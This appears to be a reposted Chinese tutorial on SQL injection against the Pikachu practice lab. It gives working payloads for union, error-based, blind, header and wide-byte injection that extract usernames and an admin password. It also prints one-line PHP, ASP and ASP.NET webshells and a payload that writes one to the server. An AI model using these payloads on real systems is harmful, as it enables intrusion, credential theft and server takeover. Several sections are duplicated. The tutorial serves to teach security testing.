Web安全:SQL注入漏洞測試.
SQL注入就是 有些惡意用戶在提交查詢請求的過程中 將SQL語句插入到請求內(nèi)容中,同時程序的本身對用戶輸入的內(nèi)容過于相信,沒有對用戶插入的SQL語句進(jìn)行任何的過濾,從而直接被SQL語句直接被服務(wù)端執(zhí)行,導(dǎo)致數(shù)據(jù)庫的原有信息泄露,篡改,甚至被刪除等風(fēng)險。
目錄:
SQL注入測試的思想:
常見的SQL注入點類型:
常見的測試語句:
SQL 注入漏洞測試:
數(shù)字型注入(POST傳參):
字符型注入(GET傳參):
搜索型注入:
XX型注入:
基于 union 聯(lián)合查詢的信息獲?。?/p>
基于 函數(shù) 報錯的信息獲取:
基于 insert / update 注入(賬號 || 密碼):
delete 注入(留言板):
Http Header注入(http 頭):
基于 boolean 盲注(真 / 假):
基于 Time?盲注(時間):
利用SQL注入進(jìn)行遠(yuǎn)程控制服務(wù)器:
寬字節(jié)注入:
SQL注入的防御:
免責(zé)聲明:
嚴(yán)禁利用本文章中所提到的工具和技術(shù)進(jìn)行非法攻擊,否則后果自負(fù),上傳者不承擔(dān)任何責(zé)任。
SQL注入測試的思想:
主要是怎樣可以閉合,數(shù)據(jù)庫前面的語句。然后再去欺騙后臺執(zhí)行我們需要的查詢語句.
常見的SQL注入點類型:
數(shù)字型:user_id=$id
字符型:user_id='$id'
搜索型:text LIKE '%{$_GET['SEARCH']}%'"
常見的測試語句:
' and 1=1 # //單引號是閉合前面的數(shù)據(jù)(寫閉合數(shù)據(jù)),因為 1=1 是真則返回是正常頁面.
' and 1=2 # //單引號是閉合前面的數(shù)據(jù)(寫閉合數(shù)據(jù)),因為 1=2 是假則返回是錯誤頁面.
" and 1=1 # //單引號是閉合前面的數(shù)據(jù)(寫閉合數(shù)據(jù)),因為 1=1 是真則返回是正常頁面.
" and 1=2 # //單引號是閉合前面的數(shù)據(jù)(寫閉合數(shù)據(jù)),因為 1=2 是假則返回是錯誤頁面.
' or 1=1 # //返回所以信息.
" or 1=1 # //返回所以信息.
' //查看有沒有報錯.
" //查看有沒有報錯.
以上測試說明:可能存在注入點.
SQL 注入漏洞測試:
數(shù)字型注入(POST傳參):
$id=$_POST['id'] //模擬后臺傳入的參數(shù)思想
select 字段1,字段2 from 表名 where id =$id
(注意:有時候是 ” 雙引號,則單引號換為雙引號)
第一步:進(jìn)入可能存在SQL注入的頁面,點擊輸入 1 或 2....看看有沒有返回頁面信息等.
第二步:打開 Burp?Suite 工具進(jìn)行抓包,然后發(fā)送給 "?重發(fā)器?"?
第三步:在傳參的后面填寫? or 1=1,發(fā)送查看有沒有返回這個表的所以信息.
字符型注入(GET傳參):
$uname=$_GET['username'] //模擬后臺傳入的參數(shù)思想
select 字段1,字段2 from 表名 where username='$uname';
第一步:進(jìn)入可能存在SQL注入的頁面,輸入一個正常返回頁面的參數(shù)和一個錯誤返回頁面的參數(shù).(比如:正常返回頁面的參數(shù):kobe? ?,?錯誤返回頁面的參數(shù):1)
第二步:在頁面后面填寫一個字符然后跟Mysql語句 (先把前面的語句閉合),(再使用 # 注釋掉后面的): aaa' or 1=1#'
語句解析:
(1)前面的 ' 單引號是閉合 Mysql數(shù)據(jù)庫 的單引號.
(2)在拼寫 Mysql數(shù)據(jù)庫 語句時后面也要有一個 ' 單引號.
(3)想方法把后面的 ' 單引號給注釋掉,在 Mysql數(shù)據(jù)庫 中是使用 # 或 -- 注釋.
(注釋 # 或 --后面的語句.)
(注意:有時候是 ” 雙引號,則單引號換為雙引號)
$uname=$_GET['username'] //模擬數(shù)據(jù)庫后面的運行是這樣的
select 字段1,字段2 from 表名 where username='kobe' or 1=1#';
搜索型注入:
select * from 表名 where 字符(username) like '%k%';
語句解析:
(1)like 是對表進(jìn)行匹配性查詢,匹配 % 中間含有的值,在 字符(username) 中所以含有 % 中間
的值(k)都會返回出來.
第一步:進(jìn)入可能存在SQL注入的頁面,輸入這個正常的查詢.
第二步:查詢框中輸入(先把前面的語句閉合),(再使用 # 注釋掉后面的):xxx%' or 1=1 #?
select * from 表名 where 字段(username) like '%xxx%' or 1=1 #%';
//模擬數(shù)據(jù)庫后面的運行是這樣的
select * from 表名 where 字段(username) like '%xxx%' or 1=1 #%';
語句解析:
(1)' 單引號前的數(shù)據(jù)是閉合 Mysql數(shù)據(jù)庫 中的語句.( xxx%' )
(2)or 1=1 是查找這個表中所以的數(shù)據(jù).
(3)# 或 -- 是 Mysql數(shù)據(jù)庫 注釋掉后面的語句.
(注意:有時候是 ” 雙引號,則單引號換為雙引號)
XX型注入:
$uname=$_GET['username'] //模擬后臺傳入的參數(shù)思想
select 字段1,字段2 from 表名 where username=('$uname');
select 字段1,字段2 from 表名 where username=('xx') or 1=1 #');
語句解析:
(1)' 單引號前的數(shù)據(jù)是閉合 Mysql數(shù)據(jù)庫 中的語句.( xx') )
(2)or 1=1 是查找這個表中所以的數(shù)據(jù).
(3)# 或 -- 是 Mysql數(shù)據(jù)庫 注釋掉后面的語句.
(注意:有時候是 ” 雙引號,則單引號換為雙引號)
第一步:進(jìn)入可能存在SQL注入的頁面,先把前面的語句閉合,輸入:xx') or 1=1 #
基于 union 聯(lián)合查詢的信息獲?。?/h3>
union 聯(lián)合查詢:可以通過聯(lián)合查詢來查詢指定的數(shù)據(jù).
用法舉例:
select username,password from user where id=1 union select 字段1,字段2 from 表名
(聯(lián)合查詢的字段 數(shù) 需要和主查詢一致!)
思路:對查詢的結(jié)果使用 order by 按照指定的列進(jìn)行排序,如果指定的列不存在,數(shù)據(jù)庫會報錯。
通過報錯判斷查詢結(jié)果的列數(shù),從而確定主查詢的字段數(shù)。
order by x //對查詢的結(jié)果進(jìn)行排序,按照第X列進(jìn)行排序,默認(rèn)數(shù)字0-9,字母a-z
Select version(); //取的數(shù)據(jù)庫版本
Select database(); //取得當(dāng)前的數(shù)據(jù)庫
Select user(); //取得當(dāng)前登錄的用戶
第一步:進(jìn)入可能存在SQL注入的頁面,先把前面的語句閉合,再使用 order by 測試字段數(shù)有多少.(如果指定的列不存在,數(shù)據(jù)庫會報錯,通過報錯判斷查詢結(jié)果的列數(shù),從而確定主查詢的字段數(shù).)(再使用 # 注釋掉后面的)
aa' order by 3 # //報錯的
aa' order by 2 # //沒有報錯的
union 聯(lián)合查詢:可以通過聯(lián)合查詢來查詢指定的數(shù)據(jù).
用法舉例:
select username,password from user where id=1 union select 字段1,字段2 from 表名
(聯(lián)合查詢的字段 數(shù) 需要和主查詢一致!)
思路:對查詢的結(jié)果使用 order by 按照指定的列進(jìn)行排序,如果指定的列不存在,數(shù)據(jù)庫會報錯。
通過報錯判斷查詢結(jié)果的列數(shù),從而確定主查詢的字段數(shù)。
order by x //對查詢的結(jié)果進(jìn)行排序,按照第X列進(jìn)行排序,默認(rèn)數(shù)字0-9,字母a-z
Select version(); //取的數(shù)據(jù)庫版本
Select database(); //取得當(dāng)前的數(shù)據(jù)庫
Select user(); //取得當(dāng)前登錄的用戶
aa' order by 3 # //報錯的
aa' order by 2 # //沒有報錯的
第二步:已經(jīng)字段有幾段,則把前面的語句閉合,再使用 union select 字段1,字段2... from 表名
aa' union select database(),user() #
database() //取得當(dāng)前的數(shù)據(jù)庫
user() //取得當(dāng)前登錄的用戶
基于 函數(shù) 報錯的信息獲?。?/h3>
技巧思路:
在 MYSQL 中使用一些指定的函數(shù)來制造報錯,從而從報錯信息中獲取設(shè)定的息.
select/insert/update/delete都可以使用報錯來獲取信息.
背景條件:
后臺沒有屏蔽數(shù)據(jù)庫報錯信息,在語法發(fā)生錯誤時會輸出在前端.
基于報錯的信息獲取---三個常用的用來報錯的函數(shù):
updatexml() //函數(shù)是MYSQL對 XML文檔 數(shù)據(jù)進(jìn)行 查詢和修改 的XPATH函數(shù).
extractvalue() //函數(shù)也是MYSQL對 XML文檔 數(shù)據(jù)進(jìn)行 查詢 的XPATH函數(shù)。
floor() // MYSQL 中用來 取整 的函數(shù).
Updatexml()函數(shù)作用:改變(查找并替換)XML文檔中符合條件的節(jié)點的值.
語法:UPDATEXML (xml_document, XPathstring, new_value)
第一個參數(shù):xml_document,表中的字段名
第二個參數(shù):XPathstring (Xpath格式的字符串),定位哪個位置
第三個參數(shù):new_value,String格式,替換查找到的符合條件的
限制:Xpath定位必須是有效的,否則則會發(fā)生錯誤.
第一步:進(jìn)入可能存在SQL注入的頁面,隨便輸入一個數(shù)據(jù),查看有沒有報錯的信息返回.(有報錯才符合我們的條件.)
技巧思路:
在 MYSQL 中使用一些指定的函數(shù)來制造報錯,從而從報錯信息中獲取設(shè)定的息.
select/insert/update/delete都可以使用報錯來獲取信息.
背景條件:
后臺沒有屏蔽數(shù)據(jù)庫報錯信息,在語法發(fā)生錯誤時會輸出在前端.
基于報錯的信息獲取---三個常用的用來報錯的函數(shù):
updatexml() //函數(shù)是MYSQL對 XML文檔 數(shù)據(jù)進(jìn)行 查詢和修改 的XPATH函數(shù).
extractvalue() //函數(shù)也是MYSQL對 XML文檔 數(shù)據(jù)進(jìn)行 查詢 的XPATH函數(shù)。
floor() // MYSQL 中用來 取整 的函數(shù).
Updatexml()函數(shù)作用:改變(查找并替換)XML文檔中符合條件的節(jié)點的值.
語法:UPDATEXML (xml_document, XPathstring, new_value)
第一個參數(shù):xml_document,表中的字段名
第二個參數(shù):XPathstring (Xpath格式的字符串),定位哪個位置
第三個參數(shù):new_value,String格式,替換查找到的符合條件的
限制:Xpath定位必須是有效的,否則則會發(fā)生錯誤.
第二步:使用基于報錯: updatexml()函數(shù)(主要是替換第二個參數(shù),把他替換為我們要查詢數(shù)據(jù)使用的函數(shù).)
kobe' and updatexml(1,version(),0) #
對傳入的數(shù)據(jù)進(jìn)行處理:
kobe' and updatexml(1,concat(0x7e,version()),0) # //取的數(shù)據(jù)庫版本
kobe' and updatexml(1,concat(0x7e,database()),0) # //取得當(dāng)前的數(shù)據(jù)庫
kobe' and updatexml(1,concat(0x7e,user()),0) # //取得當(dāng)前登錄的用戶
0x7e 是 ~
concat()函數(shù):傳入的兩個參數(shù)組合起來,然后再打印出來.
使用limit一次一次進(jìn)行獲取表名:
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) #
// table_schema='數(shù)據(jù)庫名'
// limit 0,1 只改 0 的那個數(shù)字( 0 代表第一個數(shù)據(jù)庫名的名稱, 1 代表第二個數(shù)據(jù)庫名的名稱,....)
獲取到表名后,再獲取列名:
kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0) #
// table_name='表名'
// limit 0,1 只改 0 的那個數(shù)字( 0 代表第一個表名的名稱, 1 代表第二個表名的名稱,....)
獲取到列名后,再獲取數(shù)據(jù):
kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) #
//可以獲取 用戶名.
kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0) #
//可以獲取 用戶的密碼.
基于 insert / update 注入(賬號 || 密碼):
模擬后臺代碼執(zhí)行:(正常執(zhí)行)
insert into member(username,pw,sex,phonenum,email,address) values('xxx',11111,2,3,4,5)
模擬后臺代碼執(zhí)行:(注入時的執(zhí)行)
insert into member(username,pw,sex,phonenum,email,address) values('xxx' or updatexml(1,concat(0x7e,version()),0) or'',11111,2,3,4,5)
insert into member(username,pw,sex,phonenum,email,address) values('xxx' or updatexml(1,concat(0x7e,user()),0) or'',11111,2,3,4,5)
insert into member(username,pw,sex,phonenum,email,address) values('xxx' or updatexml(1,concat(0x7e,database()),0) or'',11111,2,3,4,5)
第一步:進(jìn)入可能存在SQL注入的頁面,隨便輸入一個數(shù)據(jù),查看有沒有報錯.
第二步:輸入命令進(jìn)行測試.
xxx' or updatexml(1,concat(0x7e,version()),0) or' //取的數(shù)據(jù)庫版本
xxx' or updatexml(1,concat(0x7e,user()),0) or' //取得當(dāng)前登錄的用戶
xxx' or updatexml(1,concat(0x7e,database()),0) or' //取得當(dāng)前的數(shù)據(jù)庫
delete 注入(留言板):
后臺執(zhí)行的代碼:
delete from message where id={$_GET['id']}
第一步:進(jìn)入可能存在SQL注入的頁面,隨便輸入一個數(shù)據(jù).
第二步:打開 Burp Suite 對剛剛的數(shù)據(jù)進(jìn)行攔截抓包,然后發(fā)送到“重發(fā)器”,找到我們輸入的數(shù)據(jù)進(jìn)行修改為.
1 or updatexml(1,concat(0x7e,database()),0) //取的數(shù)據(jù)庫版本
1 or updatexml(1,concat(0x7e,user()),0) //取得當(dāng)前登錄的用戶
1 or updatexml(1,concat(0x7e,database()),0) //取得當(dāng)前的數(shù)據(jù)庫
第三步:對我們插入的數(shù)據(jù)進(jìn)行轉(zhuǎn)換為 URL 編碼.(編碼:鼠標(biāo)右鍵點擊--->轉(zhuǎn)換選擇-->URL-->特殊字符的URL編碼)
Http Header注入(http 頭):
原理及概括:
有些時候,后臺開發(fā)人員為了驗證客戶端頭信息(比如常用的cookie驗證)
或者通過http header頭信息獲取客戶端的一些信息,比如useragent、accept字段等等。
會對客戶端的http header信息進(jìn)行獲取并使用SQL進(jìn)行處理,如果此時沒有足夠的安全考慮則可能會導(dǎo)致基于http header的SQL Inject漏洞。
第一步:進(jìn)入可能存在SQL注入的頁面,進(jìn)行登錄.
第二步:打開 Burp Suite 對剛剛瀏覽的數(shù)據(jù)進(jìn)行發(fā)送到“重發(fā)器”中查看.(使用 User-Agent:? 做測試,把他后面的刪除,輸入一個:' (單引號)查看有沒有返回報錯)
第三步:輸入我們構(gòu)造的語句.(自己需要的信息.)
xxx' or updatexml(1,concat(0x7e,version()),0) or' //取的數(shù)據(jù)庫版本
xxx' or updatexml(1,concat(0x7e,user()),0) or' //取得當(dāng)前登錄的用戶
xxx' or updatexml(1,concat(0x7e,database()),0) or' //取得當(dāng)前的數(shù)據(jù)庫
第四步:打開 Burp Suite 對剛剛瀏覽的數(shù)據(jù)進(jìn)行發(fā)送到“重發(fā)器”中查看.(使用 Cookie:?? 做測試,在用戶名后面添加一個:' (單引號)查看有沒有返回報錯.)
第五步:輸入我們構(gòu)造的語句.(自己需要的信息.)
admin' and updatexml(1,concat(0x7e,version()),0) # //取的數(shù)據(jù)庫版本
admin' and updatexml(1,concat(0x7e,user()),0) # //取得當(dāng)前登錄的用戶
admin' and updatexml(1,concat(0x7e,database()),0) # //取得當(dāng)前的數(shù)據(jù)庫
基于 boolean 盲注(真 / 假):
什么是盲注以及常見的盲注類型:
在有些情況下,后臺使用了錯誤消息屏蔽方法(比如@)屏蔽了報錯
此時無法在根據(jù)報錯信息來進(jìn)行注入的判斷,這種情況下的注入,稱為“盲注”
根據(jù)表現(xiàn)形式的不同,盲注又分為based boolean和based time兩種類型
基于boolean的盲注主要表現(xiàn)癥狀:
(1)沒有報錯信息
(2)不管是正確的輸入,還是錯誤的輸入,都只顯示兩種情況(我們可以認(rèn)為是0或者1)
(3)在正確的輸入下,輸入and 1=1 / and 1=2發(fā)現(xiàn)可以判斷.
第一步:進(jìn)入可能存在SQL注入的頁面,輸入我們構(gòu)造的語句.(有沒有返回正常和錯誤.)如果正常和錯誤都有,則存在注入.
kobe' and 1=1 # //正常返回頁面(真)
kobe' and 1=2 # //錯誤返回頁面(假)
第二步:我們已經(jīng)知道,這里存在注入點了.(所以進(jìn)行測試有沒有報一些我們想要的數(shù)據(jù).)(如果手動注入取信息是比較麻煩的,建議使用工具)
kobe' and ascii(substr(database(),1,1))>113 #
ascii 是轉(zhuǎn)換為 ASCLL 編碼
substr 是取字符,中間的 1 是取第一個字符.
database() 是取數(shù)據(jù)庫名稱
>113 是轉(zhuǎn)換為 ASCLL 編碼大于113,則正常返回頁面,如果小于 113 ,則錯誤返回頁面.
基于 Time?盲注(時間):
如果說基于boolean的盲注在頁面上還可以看到0 or 1的回顯的話
那么基于time的盲注完全就啥都看不到了!
但還有一個條件,就是“時間”,通過特定的輸入,判斷后臺執(zhí)行的時間,從而確認(rèn)注入!
常用的Teat Payload:
kobe' and sleep(5)#
看看輸入:kobe 和輸入kobe ' and sleep(5)#的區(qū)別,從而判斷這里存在based time的SQL注入漏洞
第一步:進(jìn)入可能存在SQL注入的頁面,輸入我們構(gòu)造的語句.(按F12 --> 查看網(wǎng)絡(luò).)
kobe' and sleep(10) #
sleep 是暫停時間. 10 是秒
第二步:我們已經(jīng)知道,這里存在注入點了.(所以進(jìn)行測試有沒有報一些我們想要的數(shù)據(jù).)(按F12 --> 查看網(wǎng)絡(luò).)
kobe' and if(substr(database(),1,1)='p',sleep(10),null) #
substr 是取字符,中間的 1 是取第一個字符.
database() 是取數(shù)據(jù)庫名稱
if 判斷數(shù)據(jù)庫名稱第一個字符是不是 p ,如果是時間延長十秒,如果不是不延長
利用SQL注入進(jìn)行遠(yuǎn)程控制服務(wù)器:
一句話木馬是一種短小而精悍的木馬客戶端,隱蔽性好,且功能強(qiáng)大.
PHP: <?php @eval($_POST['bgxg']);?>
ASP: <%eval request("bgxg")%>
ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.ltem["bgxg"],"unsafe");%>
通過SQL漏洞·寫入惡意代碼:
into outfile 將select的結(jié)果寫入到指定目錄的1.txt中
在一些沒有回顯的注入中可以使用into outfile將結(jié)果寫入到指定文件,然后訪問獲取
前提條件:
1.需要知道遠(yuǎn)程目錄
2.需要遠(yuǎn)程目錄有寫權(quán)限
3.需要數(shù)據(jù)庫開啟了secure_file_priv
第一步:進(jìn)入可能存在SQL注入的頁面,輸入我們構(gòu)造的語句.
kobe' union select "<?php @eval($_GET['bgxg'])?>,2 into outfile "寫入到服務(wù)器的目錄/1.php" #
//outfile 是將前面的字段(一句話木馬)結(jié)果輸入到后面的目錄中.
第二步:瀏覽一下這個木馬? ?bgxg=phpinfo();? ? ?如果可以返回則成功寫,再使用工具進(jìn)行連接.
寬字節(jié)注入:
寬字節(jié)注入原理:
寬字節(jié)注入使用了轉(zhuǎn)義的函數(shù),對輸入'進(jìn)行了轉(zhuǎn)義\'
但是可以利用反斜杠編碼為%5c,然后再用%df構(gòu)成(連)字繞過對 ' 的轉(zhuǎn)義.
(設(shè)置編碼時設(shè)置為了gbk編碼)
第一步:進(jìn)入可能存在SQL注入的頁面,輸入我們構(gòu)造的語句.
kobe%df’ or 1=1#
第二步:打開 Burp Suite 對剛剛瀏覽的數(shù)據(jù)進(jìn)行發(fā)送到“ 重發(fā)器 ”中查看.(重新輸入剛剛的數(shù)據(jù).)
SQL注入的防御:
(1)應(yīng)盡可能用服務(wù)器的數(shù)據(jù)庫權(quán)限降至最低.
(2)盡可能對進(jìn)入數(shù)據(jù)庫的特殊字符進(jìn)行轉(zhuǎn)義處理,或編碼轉(zhuǎn)換.
(3)盡可能在檢測的時候使用專門的 SQL 注入檢測工具進(jìn)行檢測.
(4)盡可能避免網(wǎng)站打印出 SQL 錯誤信息,比如類型錯誤、字段不匹配等等.
(5)盡可能在查詢語句時,不要直接將用戶輸入變量直接拼接 SQL 語句中.(可以使用數(shù)據(jù)庫提供的參數(shù)化查詢接口)
? ? ??文章來源:http://www.zghlxwxcb.cn/news/detail-636723.html
? ? ??
學(xué)習(xí)鏈接:sqli基本概念和原理講解_嗶哩嗶哩_bilibili文章來源地址http://www.zghlxwxcb.cn/news/detail-636723.html
到了這里,關(guān)于Web安全:SQL注入漏洞測試(防止 黑客利用此漏洞.)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!